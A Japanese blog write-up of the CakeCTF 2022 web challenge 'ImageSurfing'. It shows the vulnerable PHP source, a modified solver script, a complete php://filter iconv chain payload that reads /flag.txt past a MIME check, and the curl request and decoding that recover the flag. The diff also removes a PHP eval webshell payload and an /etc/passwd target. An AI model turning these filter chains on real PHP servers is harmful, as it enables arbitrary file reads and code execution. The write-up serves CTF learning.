2022/09/03 14:00 〜 2022/09/04 14:00 (JST) の日程で開催された CakeCTF に参加しました。13問解いて14位でした。
ちょっと忙しくて全問書いている時間がないので、ImageSurfing だけ書こうと思います。
Writeup
Web - [427pts] ImageSurfing (3 Solves)
attachment: imagesurfing_02988f6765613ed488341854d867eb10.tar.gz
添付ファイルを展開すると、Dockerfile、flag.txt、index.php の3つが出てきた。index.php はこんな感じ。
<?php
const IMAGE_MIME = ['image/jpeg', 'image/png', 'image/gif'];
function get_image($url) {
/* Open URL */
$data = @file_get_contents($url);
if ($data == false)
return array("Cannot fetch file", false);
/* Check file size */
if (strlen($data) > 1024*1024*16)
return array("File size is too large", false);
/* Get mime type */
$tmp = tmpfile();
fwrite($tmp, $data);
fflush($tmp);
$mime = mime_content_type(stream_get_meta_data($tmp)['uri']);
fclose($tmp);
/* Check */
if (in_array($mime, IMAGE_MIME)) {
return array($mime, $data);
} else {
return array("Invalid image file", false);
}
}
if (!empty($_GET['url'])) {
list($mime, $img) = get_image($_GET['url']);
if ($img === false) {
$err = $mime;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ImageSurfing</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/purecss@2.1.0/build/pure-min.css" integrity="sha384-yHIFVG6ClnONEA5yB5DJXfW2/KC173DIQrYoZMEtBvGzmf0PKiGyNEqe9N6BNDBH" crossorigin="anonymous">
</head>
<body style="text-align: center;">
<h1>Image Viewer</h1>
<form class="pure-form" action="/" method="GET">
<input type="text" placeholder="URL" name="url" style="width: 50%"
value="<?= empty($_GET['url'])
? "https://c.tenor.com/NFjEeHbk-zwAAAAC/cat.gif"
: htmlspecialchars($_GET['url']) ?>">
<input class="pure-button pure-button-primary"
type="submit" value="View!">
</form>
<br>
<?php if (isset($err)) { ?>
<p>Error: <?= htmlspecialchars($err) ?></p>
<?php } ?>
<?php if (!empty($img)) { ?>
<img alt="<?php htmlspecialchars($_GET['url']) ?>"
style="max-width: 30%;"
src="data:<?= $mime ?>;base64,<?= base64_encode($img) ?>">
<?php } ?>
</body>
</html>
たったこれだけ。簡単な流れはこんな感じ。
-
url
パラメータに指定された値を引数にfile_get_contents
を呼ぶ - 取得した値のマジックナンバーを読み取って MIME-Type を求め、
IMAGE_MIME
に含まれていなければ Invalid - IMAGE_MIME と一致するならBase64エンコードして表示
フラグはDockerfileに書いてあり、/flag.txt
にあるらしい。
まず怪しい点としてはここ。
function get_image($url) {
/* Open URL */
$data = @file_get_contents($url);
if ($data == false)
return array("Cannot fetch file", false);
:
file_get_contents
は直接呼び出すと危険で、http
だけでなく色々なスキームをサポートしているため色々できてしまう。特に php://
のスキームでは色々なことができる。
ここらへんが参考になった。
この中でも php://filter
という部分に着目すると、様々なフィルタを適用することができるとわかる。フラグを読んだ後、何らかのフィルタ処理を施して、なんとかして出力できれば良いのでは?と想像できる。
このフィルタを使ってなにかできないかとググっていたら、こんなものを見つけた。(php filter base64 ctf とかで調べてたらしい)
ざっくりいうと、フィルタをあれこれすることで任意の文字を追加できるというもの。convert.iconv.UTF8.CSISO2022KR
というフィルタを追加すると \x1b$)C
が先頭に追加され、それを convert.base64-decode
することで余計なバイト列を無視できる。とかそんな感じ。(ちゃんと理解してない)
手元で試してみると、確かに追加できている。
$ cat flag.txt
FakeCTF{neko!}
$ php -a
Interactive mode enabled
php > echo file_get_contents("php://filter/convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2/resource=flag.txt");
8FakeCTF{neko!}
となれば、任意の文字列を先頭に付加して、IMAGE_MIME
のタイプに合うようにできれば良いのではなかろうか。
許可されている MIME-Type のマジックナンバーを調べてみると以下の通り。
Type | Magic number |
---|---|
image/jpeg |
\xff\xd8\xdd\xe0 |
image/png |
\x89PNG |
image/gif |
GIF89 |
この中で、image/gif
のマジックナンバーは Base64 として使用できる文字のみで構成されていることがわかる。
試しに GIT89
をフラグの先頭に追加して実行するとどうなるか、手元のPHPを実行してやってみた。
$ php -a
Interactive mode enabled
php > $data = "GIF89CakeCTF{neko!}";
php >
php > $tmp = tmpfile();
php > fwrite($tmp, $data);
php > fflush($tmp);
php > $mime = mime_content_type(stream_get_meta_data($tmp)['uri']);
php > fclose($tmp);
php >
php > echo $mime;
image/gif
こうすることで image/gif
と判定された。(ちなみに GIF8
でも大丈夫だった)
あとは php://filter
の変換を駆使して GIF89
を作れれば良いのだが、このとき大会終了まで残り1時間。流石に私の力ではどうしようもなさそうだった。
そこで convert.iconv.UTF8.CSISO2022KR
が肝と判断してググってみると、以下のリポジトリを見つけた。(たぶんここがハイライト。このリポジトリ見つけたのデカい)
先程の記事を参考にファジングしたものを公開してくれていた。さらにはご丁寧にPythonスクリプトまである(ヨッシャ)
このテストスクリプトをいじってうまく刺さる形にできればOK。フラグにはBase64で使用できない文字が含まれているので、まず最初にBase64エンコードしておくことでエラーを回避した。(不要だったかもしれない)
-file_to_use = "/etc/passwd"
+file_to_use = "/flag.txt"
#<?php eval($_GET[1]);?>a
-base64_payload = "PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz5h"
+base64_payload = "GIF89"
# generate some garbage base64
-filters = "convert.iconv.UTF8.CSISO2022KR|"
+filters = "convert.base64-encode|"
+filters += "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
- filters += open('./res/'+c).read() + "|"
+ filters += open('./PHP_INCLUDE_TO_SHELL_CHAR_DICT/res/'+c).read() + "|"
# decode and reencode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
-filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
これを実行すると以下のようなペイロードが得られる。これを投げつけることでフラグが得られるはず。
$ python3 solver.py
php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=/flag.txt
$ curl -sSG --data-urlencode "url=$(python3 solver.py)" http://web1.2022.cakectf.com:8001/ | grep 'src="data:'
src="data:image/gif;base64,R0lGODlHeVFwUTFFeVJuSmFWVTVWVW01MFVWTkdRbVphYWtaelpFUk9lVmg1Um5wWU1rNUpUa1JDTUUxWFRtTkxSalYyV0dscmRtWlJiejA=">
できた。あとは慎重に得られたBase64文字列をデコードしていけばフラグが得られる。
$ echo 'R0lGODlHeVFwUTFFeVJuSmFWVTVWVW01MFVWTkdRbVphYWtaelpFUk9lVmg1Um5wWU1rNUpUa1JDTUUxWFRtTkxSalYyV0dscmRtWlJiejA=' | base64 -d
GIF89GyQpQ1EyRnJaVU5VUm50UVNGQmZaakZzZEROeVh5RnpYMk5JTkRCME1XTmNLRjV2WGlrdmZRbz0
# remove 'GIF89'
$ echo 'GyQpQ1EyRnJaVU5VUm50UVNGQmZaakZzZEROeVh5RnpYMk5JTkRCME1XTmNLRjV2WGlrdmZRbz0' | base64 -d
Q2FrZUNURntQSFBfZjFsdDNyXyFzX2NINDB0MWNcKF5vXikvfQo=base64: 無効な入力
$ echo 'Q2FrZUNURntQSFBfZjFsdDNyXyFzX2NINDB0MWNcKF5vXikvfQo=' | base64 -d
CakeCTF{PHP_f1lt3r_!s_cH40t1c\(^o^)/}
FLAG: CakeCTF{PHP_f1lt3r_!s_cH40t1c\(^o^)/}
感想
昨年もCakeCTFに参加しましたが、毎度問題の質が高く勉強になることが多くて楽しいです。来年もあれば参加したいです。
ImageSurfing は Solve数少なくて自分には手が届かないと思って問題を見てなかったのですが、終了1時間半前にちらっと覗いたら、PHPファイル一つだけで「えっ?」ってなりました。諦めない心大事。
あとアンケートで「OpenBio 解くの面倒で嫌い」みたいなこと書いたのですが、他の方のWriteup見たら簡単に解けてたので、私の解き方が悪かっただけでした。失礼しました。
(私がやったときは CSP の connect-src ディレクティブに阻まれて外部ドメインに送れなかったような気がしてました。勘違いだったのかな…)
最後に、開催してくださった運営の皆様、本当にお疲れ様でした。ありがとうございました!(全問書けなくてごめんなさい!)